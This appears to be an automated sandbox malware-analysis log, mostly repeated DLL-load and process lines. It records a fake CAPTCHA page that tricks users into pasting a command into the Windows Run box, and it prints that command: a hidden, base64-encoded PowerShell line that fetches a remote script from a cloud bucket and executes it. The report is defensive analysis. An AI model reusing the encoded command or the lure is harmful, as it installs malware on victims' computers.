Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: user32.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: test.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr
Source:	Binary string: ntdll.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: NIST IHDRPatternPsion Serie 3 Bitmap filesrisunimSSI: Data type is not supported!Psion Serie 5 Bitmap filetest.pdbvIMGPalm Pilot Bitmap file{ source: DrWindows.exe, 00000017.00000003.1867935920.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe.12.dr
Source:	Binary string: MFC42.pdb source: DrWindows.exe, 00000017.00000003.1867935920.0000000002BDC000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.000000000040A000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr
Source:	Binary string: ntdll.pdbu source: DrWindows.exe.12.dr
Source:	Binary string: D:\Pierre\viewer\XnView\project\Win32_Release\XnViewClassic\xnview.pdb source: DrWindows.exe.12.dr

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex@{# Script module or

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYXNnYnVja2V0Lm9zcy1hcC1zb3V0aGVhc3QtMy5hbGl5dW5jcy5jb20vY2xhc3MvaW5pdGlhdGUvSmlkVzNtRTcudHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"

Source: DrWindows.exe.12.dr

Static PE information: real checksum: 0x6eaad5 should be: 0x6ed1c7

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243E3CF push eax; mov dword ptr [esp], 11102FFEh		23_2_0243E3D2
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0243B8DF push eax; mov dword ptr [esp], 60616263h		23_2_0243B8EE

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: x e about:blank X Verify You Are Human C ytfjghloadv1b-cdn.net/proCESSl NGveriffv001.html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter 06:48 ENG p Type here to search SG 10/12/2024
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human ytfjghloadv1b-cdn.net/proCESSl NGveriffv001.html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Undo Cut Copy Paste Verification Delete Steps Select All 1. Press Windows Right to left Reading order Run Show Unicode control characters Button Ins Unicode control character 2. Press CTRL + V Type the name open IME resource, and 3. Press Enter Reconversion Open: 06:48 ENG p Type here to search SG 10/12/2024
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human ytfjghloadv1b-cdn.net/proCESSl NGveriffv001.html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Verification Steps 1. Press Windows x Run Button 2. Press CTRL + V Type the name of a program, folder, document or Internet resource and Windows will open it for you. 3. Press Enter Open: 0K. 06:48 ENG p Type here to search SG 10/12/2024
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human ytfjghloadv1b-cdn.net/proCESSl NGveriffv001.html X O Verify You Are Human Please verify that you are a human to continue. I'm nat a rabat Verification Steps 1. Press Windows Button "C" + R 2. Press CTRL + V 3. Press Enter 06:48 ENG p Type here to search SG 10/12/2024
Source: Chrome DOM: 1.1	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm nat a robat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
